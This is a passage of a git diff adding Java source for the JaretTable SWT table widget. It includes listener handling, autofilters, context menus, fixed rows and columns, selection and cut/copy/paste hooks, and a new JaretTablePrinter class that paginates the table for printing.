= _cols.get(i); + width += _tvs.getColumnWidth(col); + } + return width; + } else { + return 0; + } + } + + /** + * Calculate the width of all fixed columns. + * + * @return the sum of the individual widths of the fixed columns + */ + private int getFixedColumnsWidth() { + int w = 0; + for (int i = 0; i < _fixedColumns; i++) { + w += _tvs.getColumnWidth(_cols.get(i)); + } + return w; + } + + /** + * Calculate the height of all fixed rows. + * + * @return sum of the individual heights of the fixed rows + */ + private int getFixedRowsHeight() { + int h = 0; + for (int i = 0; i < _fixedRows; i++) { + h += _tvs.getRowHeight(_rows.get(i)); + } + return h; + } + + /** + * Retrieve the width of the control. + * + * @return width in pixel + */ + public int getWidth() { + return getClientArea().width; + } + + /** + * Retrieve the height of the control. + * + * @return height in pixel + */ + public int getHeight() { + return getClientArea().height; + } + + /** + * Retrieve the table viewstate. + * + * @return the tvs. + */ + public ITableViewState getTableViewState() { + return _tvs; + } + + /** + * Set a TableViewState. + * + * @param tvs The tvs to set. + */ + public void setTableViewState(ITableViewState tvs) { + if (_tvs != null) { + _tvs.removeTableViewStateListener(this); + } + _tvs = tvs; + _tvs.addTableViewStateListener(this); + } + + // ///////// TableViewStateListener + /** + * {@inheritDoc} + */ + public void rowHeightChanged(IRow row, int newHeight) { + Rectangle r = getRowBounds(row); + if (r != null) { + int height = getHeight() - r.y; + redraw(r.x, r.y, r.width, height, true); + _rowInfoCache = null; + } + updateYScrollBar(); + } + + /** + * {@inheritDoc} + */ + public void rowHeightModeChanged(IRow row, RowHeightMode newHeightMode) { + if (isDisplayed(row)) { + if (newHeightMode == RowHeightMode.OPTANDVAR || newHeightMode == RowHeightMode.OPTIMAL) { + optimizeHeight(row); + } + redraw(); + } + // tweak: if the default height mode qualifies the row for height optimization it will be optimized since it is + // registered + // so it has to be removed if the mode changes before drawing + if (newHeightMode != RowHeightMode.OPTANDVAR && newHeightMode != RowHeightMode.OPTIMAL) { + doNotOptimizeHeight(row); + } + } + + /** + * {@inheritDoc} + */ + public void columnWidthChanged(IColumn column, int newWidth) { + registerRowsForOptimization(); // row heights may change for opt/optvar + Rectangle r = getColumnBounds(column); + if (_headerRect != null) { + int y = _drawHeader ? _headerRect.y : r.y; + int width = getWidth() - r.x; + int height = _drawHeader ? _headerRect.height + r.height : r.height; + if (_autoFilterEnabled) { + height += _autoFilterRect.height; + } + redraw(r.x, y, width, height, true); + } + updateXScrollBar(); + } + + /** + * {@inheritDoc} + */ + public void columnWidthsChanged() { + registerRowsForOptimization(); // row heights may change for opt/optvar + redraw(); + updateXScrollBar(); + } + + // private boolean isColumnResizePossible(IColumn column, int oldWidth, int newWidth) { + // if (_tvs.getColumnResizeMode() == TableViewState.ColumnResizeMode.NONE) { + // return true; + // } + // int delta = newWidth - oldWidth; + // if (_tvs.getColumnResizeMode() == TableViewState.ColumnResizeMode.SUBSEQUENT) { + // int idx = _cols.indexOf(column); + // if (idx > _cols.size()-1) { + // return false; + // } + // IColumn subsequent = _cols.get(idx+1); + // if (_tvs.getColumnWidth(subsequent) - delta > _tvs.getMinimalColWidth()) { + // return true; + // } + // return false; + // } + // return false; + // } + + /** + * {@inheritDoc} + */ + public void columnVisibilityChanged(IColumn column, boolean visible) { + updateColumnList(); + updateXScrollBar(); + redraw(); + } + + /** + * {@inheritDoc} + */ + public void sortingChanged() { + updateRowList(); + redraw(); + // fire the general sorting change + firePropertyChange(PROPERTYNAME_SORTING, null, "x"); + } + + /** + * {@inheritDoc} + */ + public void columnOrderChanged() { + updateColumnList(); + redraw(); + } + + /** + * {@inheritDoc} + */ + public void cellStyleChanged(IRow row, IColumn column, ICellStyle style) { + if (column == null) { + redraw(row); + } else if (row == null) { + redraw(column); + } else { + redraw(row, column); + } + } + + // //// End tableviewstatelistener + + /** + * Set the enabled state for the autofilter. + * + * @param enable true for enabling the autofilter + */ + public void setAutoFilterEnable(boolean enable) { + if (_autoFilterEnabled != enable) { + _autoFilterEnabled = enable; + if (enable) { + updateAutoFilter(); + } + redraw(); + updateYScrollBar(); + preparePaint(getWidth(), getHeight()); + firePropertyChange(PROPERTYNAME_AUTOFILTERENABLE, !enable, enable); + } + } + + /** + * Retrieve the autofilter state. + * + * @return true for anabled autofilter + */ + public boolean getAutoFilterEnable() { + return _autoFilterEnabled; + } + + /** + * Create and/or update autofilters. + * + */ + private void updateAutoFilter() { + if (_autoFilterEnabled) { + // check combining autofilter + if (_autoFilter == null) { + _autoFilter = new AutoFilter(this); + } + // create autofilter instances and controls if necessary + for (IColumn column : _cols) { + if (_autoFilterMap.get(column) == null) { + IAutoFilter af = createAutoFilter(column); + if (af != null) { + af.addPropertyChangeListener(_autoFilter); + _autoFilterMap.put(column, af); + } + } + } + + // update the filters and register them with the combining internal autofilter row filter + for (IColumn column : _cols) { + IAutoFilter af = _autoFilterMap.get(column); + if (af != null) { // might be null in case of errors + af.update(); + } + } + + } + } + + /** + * Instantiate an autofilter instance for the given column. + * + * @param column column + * @return instantiated autofilter or null if any error occurs during instantiation + */ + private IAutoFilter createAutoFilter(IColumn column) { + Class clazz = getAutoFilterClass(column); + if (clazz == null) { + return null; + } + IAutoFilter result = null; + try { + Constructor constructor = clazz.getConstructor(); + result = constructor.newInstance(); + } catch (Exception e) { + e.printStackTrace(); // TODO + return null; + } + + result.setTable(this); + result.setColumn(column); + return result; + } + + /** + * Retrieve the state of header drawing. + * + * @return true when headers are drawn. + */ + public boolean getDrawHeader() { + return _drawHeader; + } + + /** + * If set to true, the header row will be drawn. + * + * @param drawHeader true: draw the header + */ + public void setDrawHeader(boolean drawHeader) { + if (_drawHeader != drawHeader) { + _drawHeader = drawHeader; + redraw(); + } + } + + /** + * @return Returns the headerRenderer. + */ + public ITableHeaderRenderer getHeaderRenderer() { + return _headerRenderer; + } + + /** + * Set a header renderer. + * + * @param headerRenderer The headerRenderer to set. + */ + public void setHeaderRenderer(ITableHeaderRenderer headerRenderer) { + _headerRenderer = headerRenderer; + redraw(); + } + + /** + * @return Returns the columnResizeAllowed. + */ + public boolean isColumnResizeAllowed() { + return _columnResizeAllowed; + } + + /** + * Set whether column resizing is allowed. + * + * @param columnResizeAllowed true for allowing col resizing. + */ + public void setColumnResizeAllowed(boolean columnResizeAllowed) { + _columnResizeAllowed = columnResizeAllowed; + } + + /** + * @return Returns the headerResizeAllowed. + */ + public boolean isHeaderResizeAllowed() { + return _headerResizeAllowed; + } + + /** + * @param headerResizeAllowed The headerResizeAllowed to set. + */ + public void setHeaderResizeAllowed(boolean headerResizeAllowed) { + _headerResizeAllowed = headerResizeAllowed; + } + + /** + * @return Returns the rowResizeAllowed. + */ + public boolean isRowResizeAllowed() { + return _rowResizeAllowed; + } + + /** + * @param rowResizeAllowed The rowResizeAllowed to set. + */ + public void setRowResizeAllowed(boolean rowResizeAllowed) { + _rowResizeAllowed = rowResizeAllowed; + } + + /** + * Set the first row displayed. + * + * @param idx index of the first row to be displayed. + * @param pixeloffset the pixeloffset of the first row + */ + public void setFirstRow(int idx, int pixeloffset) { + if (_firstRowIdx != idx || _firstRowPixelOffset != pixeloffset) { + int oldFirstIdx = _firstRowIdx; + int oldPixelOffset = _firstRowPixelOffset; + + _firstRowIdx = idx; + _firstRowPixelOffset = pixeloffset; + _rowInfoCache = null; // kill the cache + updateYScrollBar(); + redraw(); + firePropertyChange(PROPERTYNAME_FIRSTROWIDX, oldFirstIdx, idx); + firePropertyChange(PROPERTYNAME_FIRSTROWPIXELOFFSET, oldPixelOffset, pixeloffset); + } + } + + /** + * Internal row filter pooling the results of the autofilters. + * + * @author Peter Kliem + * @version $Id: JaretTable.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ + private class AutoFilter extends PropertyObservableBase implements IRowFilter, PropertyChangeListener { + /** the table instance of the filter. */ + private JaretTable _table; + + public AutoFilter(JaretTable table) { + _table = table; + } + + /** + * {@inheritDoc} + */ + public boolean isInResult(IRow row) { + boolean result = true; + for (IColumn column : _cols) { + IAutoFilter af = _autoFilterMap.get(column); + if (af != null) { + result = result && af.isInResult(row); + } + if (!result) { + break; + } + } + return result; + } + + /** + * {@inheritDoc} Whenever a filter signals change update everything. + */ + public void propertyChange(PropertyChangeEvent evt) { + updateRowList(); + setFirstRow(_fixedRows, 0); + redraw(); + // genarl filtering change signalling + _table.firePropertyChange(PROPERTYNAME_FILTERING, null, "x"); + } + } + + /** + * If a header context is present, display it at x,y. + * + * @param x x coordinate + * @param y y coordinate + */ + public void displayHeaderContextMenu(int x, int y) { + if (_headerContextMenu != null) { + dispContextMenu(_headerContextMenu, x, y); + } + } + + /** + * If a row context is present, display it at x,y. + * + * @param x x coordinate + * @param y y coordinate + */ + public void displayRowContextMenu(int x, int y) { + if (_rowContextMenu != null) { + dispContextMenu(_rowContextMenu, x, y); + } + } + + // todo move to utils + private void dispContextMenu(Menu contextMenu, int x, int y) { + Shell shell = Display.getCurrent().getActiveShell(); + Point coords = Display.getCurrent().map(this, shell, x, y); + contextMenu.setLocation(coords.x + shell.getLocation().x, coords.y + shell.getLocation().y); + contextMenu.setVisible(true); + } + + /** + * Set a context menu to be displayed on the header area. + * + * @param headerCtxMenu menu to display on the header or null to disable + */ + public void setHeaderContextMenu(Menu headerCtxMenu) { + _headerContextMenu = headerCtxMenu; + } + + /** + * Retrieve a context menu that has been set on the header. + * + * @return context menu or null + */ + public Menu getHeaderContextMenu() { + return _headerContextMenu; + } + + /** + * Set a context menu to be displayed on rows. + * + * @param rowCtxMenu context menu or null to disable + */ + public void setRowContextMenu(Menu rowCtxMenu) { + _rowContextMenu = rowCtxMenu; + } + + /** + * Retrieve a context menu that has been set for the rows. + * + * @return context menu or null + */ + public Menu getRowContextMenu() { + return _rowContextMenu; + } + + /** + * @return Returns the fixedColumns. + */ + public int getFixedColumns() { + return _fixedColumns; + } + + /** + * Set the numerb of fixed columns. Fixed columns are excluded from vertial scrolling. Row resizing can be + * restricted to the area of the fixed columns. + * + * @param fixedColumns The fixedColumns to set. + */ + public void setFixedColumns(int fixedColumns) { + if (_fixedColumns != fixedColumns) { + _fixedColumns = fixedColumns; + _firstColIdx = fixedColumns; + _firstColPixelOffset = 0; + redraw(); + } + } + + /** + * @return Returns the fixedRows. + */ + public int getFixedRows() { + return _fixedRows; + } + + /** + * Set the number of rows to be fixed (excluded from scrolling and autofiltering; optionally from sorting). + * + * @param fixedRows The fixedRows to set. + */ + public void setFixedRows(int fixedRows) { + if (_fixedRows != fixedRows) { + _fixedRows = fixedRows; + _firstRowIdx = fixedRows; + _firstRowPixelOffset = 0; + _rowInfoCache = null; + redraw(); + } + } + + // /////////// table model listener + + /** + * {@inheritDoc} + */ + public void rowChanged(IRow row) { + if (_tvs.getRowHeigthMode(row) == ITableViewState.RowHeightMode.OPTIMAL + || _tvs.getRowHeigthMode(row) == ITableViewState.RowHeightMode.OPTANDVAR) { + optimizeHeight(row); + } + redraw(row); + } + + /** + * {@inheritDoc} + */ + public void rowRemoved(IRow row) { + // MAYBE could be further optimized + updateRowList(); + if (isDisplayed(row)) { + syncedRedraw(); + } + updateYScrollBar(); + } + + /** + * {@inheritDoc} + */ + public void rowAdded(int idx, IRow row) { + updateRowList(); + syncedRedraw(); + updateYScrollBar(); + } + + /** + * {@inheritDoc} + */ + public void columnAdded(int idx, IColumn column) { + _tvs.getSortedColumns().add(column); + updateColumnList(); + syncedRedraw(); + updateXScrollBar(); + } + + /** + * {@inheritDoc} + */ + public void columnRemoved(IColumn column) { + // MAYBE optimize + _tvs.getSortedColumns().remove(column); + updateColumnList(); + if (isDisplayed(column)) { + syncedRedraw(); + } + updateXScrollBar(); + } + + /** + * {@inheritDoc} + */ + public void columnChanged(IColumn column) { + redraw(column); + } + + /** + * {@inheritDoc} + */ + public void cellChanged(IRow row, IColumn column) { + redraw(row, column); + } + + /** + * {@inheritDoc} + */ + public void tableDataChanged() { + // TODO optimze row heights + updateRowList(); + syncedRedraw(); + } + + // end table model listener + + /** + * Retrieve the flag controlling whether fixed rows are excluded from sorting. + * + * @return if true fixed rows will not be affected by sorting operations + */ + public boolean getExcludeFixedRowsFromSorting() { + return _excludeFixedRowsFromSorting; + } + + /** + * If set to true, fixed rows are exluded from sorting. + * + * @param excludeFixedRowsFromSorting true for exclude fixed rows from sorting. + */ + public void setExcludeFixedRowsFromSorting(boolean excludeFixedRowsFromSorting) { + _excludeFixedRowsFromSorting = excludeFixedRowsFromSorting; + } + + /** + * Get the state of the resize restriction flag. If true, resizing is only allowed in header and fixed columns (for + * rows) and the leftmost SELDELTA pixels of eachrow. + * + * @return Returns the resizeRestriction. + */ + public boolean getResizeRestriction() { + return _resizeRestriction; + } + + /** + * If set to true resizing of columns will only be allowed in the header area. Row resizing will be allowed on fixed + * columns and on the first SEL_DELTA pixels of the leftmost column when restricted. + * + * @param resizeRestriction The resizeRestriction to set. + */ + public void setResizeRestriction(boolean resizeRestriction) { + _resizeRestriction = resizeRestriction; + } + + // //////// selection listener + + /** + * {@inheritDoc} + */ + public void rowSelectionAdded(IRow row) { + _selectedIdxRectangle = null; + redraw(row); + } + + /** + * {@inheritDoc} + */ + public void rowSelectionRemoved(IRow row) { + _selectedIdxRectangle = null; + redraw(row); + } + + /** + * {@inheritDoc} + */ + public void cellSelectionAdded(IJaretTableCell cell) { + _selectedIdxRectangle = null; + redraw(cell.getRow(), cell.getColumn()); + } + + /** + * {@inheritDoc} + */ + public void cellSelectionRemoved(IJaretTableCell cell) { + _selectedIdxRectangle = null; + redraw(cell.getRow(), cell.getColumn()); + } + + /** + * {@inheritDoc} + */ + public void columnSelectionAdded(IColumn column) { + _selectedIdxRectangle = null; + redraw(column); + } + + /** + * {@inheritDoc} + */ + public void columnSelectionRemoved(IColumn column) { + _selectedIdxRectangle = null; + redraw(column); + } + + // end selection listener + + /** + * Retrieve the selectionmodel used by the table. + * + * @return the selection model + */ + public IJaretTableSelectionModel getSelectionModel() { + return _selectionModel; + } + + /** + * Set the selection model to be used by the table. + * + * @param jts the selection model to be used (usually the default implementation) + */ + public void setSelectionModel(IJaretTableSelectionModel jts) { + if (_selectionModel != null) { + _selectionModel.removeTableSelectionModelListener(this); + } + _selectionModel = jts; + _selectionModel.addTableSelectionModelListener(this); + } + + /** + * Current number of displayed columns. + * + * @return number of displayed columns + */ + public int getColumnCount() { + return _cols.size(); + } + + /** + * Retrieve column by the display idx. + * + * @param idx display idx + * @return column + */ + public IColumn getColumn(int idx) { + return _cols.get(idx); + } + + /** + * Convenience method to retrieve a column by it's id from the model. + * + * @param id id of the column + * @return column or null + */ + public IColumn getColumn(String id) { + for (int i = 0; i < _model.getColumnCount(); i++) { + if (_model.getColumn(i).getId().equals(id)) { + return _model.getColumn(i); + } + } + return null; + } + + /** + * Get the number of displayed rows (after filtering!). + * + * @return number of displayed rows + */ + public int getRowCount() { + return _rows.size(); + } + + /** + * Get a row by the display idx. + * + * @param idx index in the list of displayed rows. + * @return row + */ + public IRow getRow(int idx) { + return _rows.get(idx); + } + + /** + * @return Returns the rowFilter. + */ + public IRowFilter getRowFilter() { + return _rowFilter; + } + + /** + * Set a row filter on the table. + * + * @param rowFilter The rowFilter to set. + */ + public void setRowFilter(IRowFilter rowFilter) { + IRowFilter oldVal = _rowFilter; + if (_rowFilter != null) { + _rowFilter.removePropertyChangeListener(this); + } + _rowFilter = rowFilter; + if (_rowFilter != null) { + _rowFilter.addPropertyChangeListener(this); + } + updateRowList(); + updateAutoFilter(); // update autofilter (just in case it is enabled) + redraw(); + firePropertyChange(PROPERTYNAME_ROWFILTER, oldVal, _rowFilter); + // general change of filtering + firePropertyChange(PROPERTYNAME_FILTERING, null, "x"); + } + + /** + * @return Returns the rowSorter. + */ + public IRowSorter getRowSorter() { + return _rowSorter; + } + + /** + * Set a row sorter. A row sorter will be overruled by sorting setup on columns. + * + * @param rowSorter The rowSorter to set. + */ + public void setRowSorter(IRowSorter rowSorter) { + IRowSorter oldValue = _rowSorter; + if (_rowSorter != null) { + _rowSorter.removePropertyChangeListener(this); + } + _rowSorter = rowSorter; + if (_rowSorter != null) { + _rowSorter.addPropertyChangeListener(this); + } + updateRowList(); + redraw(); + // fire the change for the sorter object + firePropertyChange(PROPERTYNAME_ROWSORTER, oldValue, _rowSorter); + // fire the general sorting change + firePropertyChange(PROPERTYNAME_SORTING, null, "x"); + } + + /** + * Add a listener to listen for focus changes in the table (focussed cell). + * + * @param tfl listener + */ + public synchronized void addTableFocusListener(ITableFocusListener tfl) { + if (_tableFocusListeners == null) { + _tableFocusListeners = new Vector(); + } + _tableFocusListeners.add(tfl); + } + + /** + * Remove a registered listener. + * + * @param tfl listener + */ + public synchronized void remTableFocusListener(ITableFocusListener tfl) { + if (_tableFocusListeners != null) { + _tableFocusListeners.remove(tfl); + } + } + + /** + * Inform focus listeners about a change of the focussed cell. + * + * @param row row of the focussed cell + * @param column column of the focussed cell + */ + private void fireTableFocusChanged(IRow row, IColumn column) { + if (_tableFocusListeners != null) { + for (ITableFocusListener listener : _tableFocusListeners) { + listener.tableFocusChanged(this, row, column); + } + } + } + + // ************ property change listener + /** + * {@inheritDoc} The table eitselflistens for prop changes of the rowSorter and the rowFilter. + */ + public void propertyChange(PropertyChangeEvent evt) { + if (evt.getSource().equals(_rowSorter)) { + updateRowList(); + updateAutoFilter(); // update autofilter (just in case it is enabled) + redraw(); + firePropertyChange(PROPERTYNAME_SORTING, null, "x"); + } else if (evt.getSource().equals(_rowFilter)) { + updateRowList(); + updateAutoFilter(); // update autofilter (just in case it is enabled) + redraw(); + firePropertyChange(PROPERTYNAME_FILTERING, null, "x"); + } + + } + + // ************ property change listener + + /** + * Retrieve the used startegy when performing a fill drag. + * + * @return the fillDragStrategy + */ + public IFillDragStrategy getFillDragStrategy() { + return _fillDragStrategy; + } + + /** + * Set the strategy used when perfoming a fill drag. + * + * @param fillDragStrategy the fillDragStrategy to set. Must be non null. + */ + public void setFillDragStrategy(IFillDragStrategy fillDragStrategy) { + if (fillDragStrategy == null) { + throw new IllegalArgumentException("FillDragStrategy must not be NULL"); + } + _fillDragStrategy = fillDragStrategy; + } + + /** + * Retrieve whether fill dragging is activated. + * + * @return the supportFillDragging + */ + public boolean isSupportFillDragging() { + return _supportFillDragging; + } + + /** + * Set fill drag activation. + * + * @param supportFillDragging the supportFillDragging to set + */ + public void setSupportFillDragging(boolean supportFillDragging) { + _supportFillDragging = supportFillDragging; + _dragMarkerRect = null; + redraw(); + } + + /** + * @return the iccpStrategy + */ + public ICCPStrategy getCcpStrategy() { + return _ccpStrategy; + } + + /** + * Set the strategy to perform cut, copy, paste operations. Setting the strategy to null causes + * deactivation of ccp. + * + * @param ccpStrategy the iccpStrategy to set or null to deactivat ccp + */ + public void setCcpStrategy(ICCPStrategy ccpStrategy) { + _ccpStrategy = ccpStrategy; + } + + /** + * Do a cut operation. Implementation is supplied by the CCPStrategy. + * + */ + public void cut() { + if (_ccpStrategy != null) { + _ccpStrategy.cut(this); + } + } + + /** + * Do a copy operation. Implementation is supplied by the CCPStrategy. + * + */ + public void copy() { + if (_ccpStrategy != null) { + _ccpStrategy.copy(this); + } + } + + /** + * Do a paste operation. Implementation is supplied by the CCPStrategy. + * + */ + public void paste() { + if (_ccpStrategy != null) { + _ccpStrategy.paste(this); + } + } + + /** + * Select all cells by selectiong all displayed (not filtered) columns. + * + */ + public void selectAll() { + getSelectionModel().clearSelection(); + for (IColumn col : _cols) { + getSelectionModel().addSelectedColumn(col); + } + } + + /** + * Retrieve whether scroll opotimizations are active. + * + * @return true if scrolling is done optimized + */ + public boolean getOptimizeScrolling() { + return _optimizeScrolling; + } + + /** + * Set whether to use optimized scrolling by copying content. Defaults to false (since it causes trouble when + * running on Linux or OSX). + * + * @param optimizeScrolling true for optimizing + */ + public void setOptimizeScrolling(boolean optimizeScrolling) { + _optimizeScrolling = optimizeScrolling; + } + + /** + * Retrieve the height used to render the autofilters. + * + * @return height of the autofilter rectangle + */ + public int getAutoFilterHeight() { + return _autoFilterEnabled ? _autoFilterRect.height : 0; + } + + /** + * {@inheritDoc} + */ + public void addPropertyChangeListener(PropertyChangeListener listener) { + _propertyChangeSupport.addPropertyChangeListener(listener); + } + + /** + * {@inheritDoc} + */ + public void removePropertyChangeListener(PropertyChangeListener listener) { + _propertyChangeSupport.removePropertyChangeListener(listener); + } + + /** + * {@inheritDoc} + */ + public void firePropertyChange(String propName, Object oldVal, Object newVal) { + if (_propertyChangeSupport != null) { + _propertyChangeSupport.firePropertyChange(propName, oldVal, newVal); + } + } + + /** + * Retrieve the pixel offset the first row is scrolled. + * + * @return pixel ofset of the first row + */ + public int getFirstRowPixelOffset() { + return _firstRowPixelOffset; + } + + /** + * Retrive the index of the first row displayed in the scrolled area of the table. + * + * @return index of the first row displayed + */ + public int getFirstRowIdx() { + return _firstRowIdx; + } + + /** + * Check whether sorting the table is allowed. + * + * @return true if sorting is allowed + */ + public boolean getAllowSorting() { + return _allowSorting; + } + + /** + * Set the global allowance for sorting. This defaults to true. + * + * @param allowSorting true to allow sorting + */ + public void setAllowSorting(boolean allowSorting) { + _allowSorting = allowSorting; + } + + /** + * Get access to the internal row list. This is for special purposes (like synchronizing models) only. Use with + * care! + * + * @return the internal list of rows + */ + public List getInternalRowList() { + return _rows; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTablePrinter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTablePrinter.java new file mode 100644 index 0000000..5b25b77 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTablePrinter.java @@ -0,0 +1,292 @@ +/* + * File: JaretTablePrinter.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; + +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.print.JaretTablePrintConfiguration; +import de.jaret.util.ui.table.renderer.ICellRenderer; +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.ITableHeaderRenderer; + +/** + *

    + * Print utility for the jaret table. The table printer depends on implemented print functionality in the configured + * renderers. It "connects" directly to the jaret table thus no headless printing is possible. + *

    + *

    + * The Table printer should be disposed after using! + *

    + * TODO this is a first hack. + * + * @author Peter Kliem + * @version $Id: JaretTablePrinter.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class JaretTablePrinter { + /** borders in cm. */ + protected double _borderTop = 1; + + protected double _borderBottom = 1; + + protected double _borderLeft = 1; + + protected double _borderRight = 1; + + protected Rectangle _printingRect; + + protected Printer _printer; + + protected double _scaleX; + + protected double _scaleY; + + protected ITableHeaderRenderer _headerRenderer; + + protected JaretTable _table; + + protected int _pageHeight; + + protected int _pageWidth; + + protected int _footerHeight; + + protected double _scale = 1.0; + + public JaretTablePrinter(Printer printer, JaretTable table) { + _table = table; + setPrinter(printer); + } + + public void setPrinter(Printer printer) { + if (_printer != null) { + _printer.dispose(); + } + _printer = printer; + if (printer != null) { + Point dpi = _printer.getDPI(); + _scaleX = (double) dpi.x / 96.0; + _scaleY = (double) dpi.y / 96.0; + } + + } + + public int scaleX(int in) { + return (int) Math.round(_scaleX * (double) in * _scale); + } + + public double getScaleX() { + return _scaleX; + } + + public int scaleY(int in) { + return (int) Math.round(_scaleY * (double) in * _scale); + } + + public Printer getPrinter() { + return _printer; + } + + protected int pixelForCmX(double cm) { + Point dpi = _printer.getDPI(); + double inch = cm / 2.54; + return (int) (dpi.x * inch); + } + + protected int pixelForCmY(double cm) { + Point dpi = _printer.getDPI(); + double inch = cm / 2.54; + return (int) (dpi.y * inch); + } + + /** + * Calculate the number of pages generated when printing. + * + * @param configuration + * @return + */ + public Point calculatePageCount(JaretTablePrintConfiguration configuration) { + _scale = configuration.getScale(); + _pageHeight = _printer.getClientArea().height - pixelForCmY(_borderTop + _borderBottom); + _pageWidth = _printer.getClientArea().width - pixelForCmX(_borderLeft + _borderRight); + + int tHeight; + if (configuration.getRowLimit() == -1) { + tHeight = _table.getTotalHeight(); + } else { + tHeight = _table.getTotalHeight(configuration.getRowLimit()); + } + int tWidth; + if (configuration.getColLimit() == -1) { + tWidth = _table.getTotalWidth(); + } else { + tWidth = _table.getTotalWidth(configuration.getColLimit()); + } + + int pagesx = (scaleX(tWidth) / _pageWidth) + 1; + int pagesy = (scaleY(tHeight) / (_pageHeight - _footerHeight)) + 1; + + int headerheight = _table.getDrawHeader() ? _table.getHeaderHeight() : 0; + headerheight = configuration.getRepeatHeader() ? headerheight + headerheight * (pagesy - 1) : headerheight; + + // corrected pagesy + pagesy = (scaleY(tHeight + headerheight) / (_pageHeight - _footerHeight)) + 1; + + return new Point(pagesx, pagesy); + + } + + public void print(JaretTablePrintConfiguration configuration) { + _printingRect = new Rectangle(pixelForCmX(_borderLeft), pixelForCmY(_borderTop), _pageWidth, _pageHeight); + + _headerRenderer = _table.getHeaderRenderer().getPrintRenderer(_printer); + Point pages = calculatePageCount(configuration); + int pagesx = pages.x; + int pagesy = pages.y; + + _printer.startJob(configuration.getName() != null ? configuration.getName() : "jarettable"); + + GC gc = new GC(_printer); + Font oldfont = gc.getFont(); + FontData fontdata = new FontData("Arial", (int) (8.0 * _scale), SWT.NULL); + Font printerFont = new Font(_printer, fontdata); + gc.setFont(printerFont); + + for (int px = 0; px < pagesx; px++) { + int startx = (int) ((px * _pageWidth) / (_scaleX * _scale)); + IColumn column = _table.getColumnForAbsX(startx); + int offx = startx - _table.getAbsBeginXForColumn(column); + int beginColIdx = _table.getColIdxForAbsX(startx); + // System.out.println("PX "+px+" startx "+startx+" offx "+offx+" beginColIdx "+beginColIdx); + int rIdx = 0; + for (int py = 0; py < pagesy; py++) { + int y = 0; + String footerText = configuration.getFooterText() != null ? configuration.getFooterText() : ""; + footerText += "(" + (px + 1) + "/" + pagesx + "," + (py + 1) + "/" + pagesy + ")"; + _printer.startPage(); + + int starty = (int) (py * ((_pageHeight - _footerHeight - (configuration.getRepeatHeader() ? scaleY(_table + .getHeaderHeight()) + : 0)) / (_scaleY * _scale))); + rIdx = py == 0 ? 0 : rIdx;// _table.getRowIdxForAbsY(starty); + Rectangle clipSave = gc.getClipping(); + + if (starty == 0 || configuration.getRepeatHeader()) { + // draw header + // draw headers table area + int x = -offx; + int cIdx = beginColIdx; + while (scaleX(x) < _pageWidth && cIdx < _table.getColumnCount() + && (configuration.getColLimit() == -1 || cIdx <= configuration.getColLimit())) { + IColumn col = _table.getColumn(cIdx); + int colwidth = _table.getTableViewState().getColumnWidth(col); + int xx = x > 0 ? x : 0; + int clipWidth = x > 0 ? colwidth : colwidth - offx; + if (!_headerRenderer.disableClipping()) { + gc.setClipping(scaleX(xx) + pixelForCmX(_borderLeft), pixelForCmY(_borderTop), + scaleX(clipWidth), scaleY(_table.getHeaderHeight())); + gc.setClipping(gc.getClipping().intersection(_printingRect)); + } + + drawHeader(gc, scaleX(x) + pixelForCmX(_borderLeft), scaleX(colwidth), col); + + x += colwidth; + cIdx++; + } + y += _table.getHeaderHeight(); + gc.setClipping(clipSave); + } + + // normal table area + + gc.setClipping(_printingRect); + + while (scaleY(y) < _pageHeight && rIdx < _table.getRowCount() + && (configuration.getRowLimit() == -1 || rIdx <= configuration.getRowLimit())) { + IRow row = _table.getRow(rIdx); + int rHeight = _table.getTableViewState().getRowHeight(row); + // do not draw a row that does not fit on th page + if (scaleY(y) + scaleY(rHeight) > _pageHeight) { + break; + } + int x = -offx; + int cIdx = beginColIdx; + while (scaleX(x) < _pageWidth && cIdx < _table.getColumnCount() + && (configuration.getColLimit() == -1 || cIdx <= configuration.getColLimit())) { + IColumn col = _table.getColumn(cIdx); + int colwidth = _table.getTableViewState().getColumnWidth(col); + Rectangle area = new Rectangle(scaleX(x) + pixelForCmX(_borderLeft), scaleY(y) + + pixelForCmY(_borderTop), scaleX(colwidth), scaleY(rHeight)); + drawCell(gc, area, row, col); + x += colwidth; + cIdx++; + } + y += rHeight; + rIdx++; + } + + gc.setClipping(clipSave); + drawFooter(gc, footerText); + _printer.endPage(); + } + } + _printer.endJob(); + printerFont.dispose(); + gc.setFont(oldfont); + gc.dispose(); + } + + /** + * TODO creation and disposal of the cell renderers for printing is ... well should be changed! + * + * @param gc + * @param area + * @param row + * @param col + */ + private void drawCell(GC gc, Rectangle area, IRow row, IColumn col) { + ICellStyle bc = _table.getTableViewState().getCellStyle(row, col); + ICellRenderer cellRenderer = _table.getCellRenderer(row, col).createPrintRenderer(_printer); + if (cellRenderer != null) { + cellRenderer.draw(gc, _table, bc, area, row, col, false, false, true); + } + cellRenderer.dispose(); + } + + private void drawFooter(GC gc, String footer) { + Point extent = gc.textExtent(footer); + int y = _printer.getClientArea().height - _footerHeight - pixelForCmY(_borderBottom); + // gc.drawLine(0,y,_pageWidth, y); + // gc.drawLine(0,y+extent.y,_pageWidth, y+extent.y); + gc.drawString(footer, pixelForCmX(_borderLeft), y); + + } + + private void drawHeader(GC gc, int x, int colwidth, IColumn col) { + Rectangle area = new Rectangle(x, pixelForCmY(_borderTop), colwidth, scaleY(_table.getHeaderHeight())); + int sortingPos = _table.getTableViewState().getColumnSortingPosition(col); + boolean sortingDir = _table.getTableViewState().getColumnSortingDirection(col); + _headerRenderer.draw(gc, area, col, sortingPos, sortingDir, 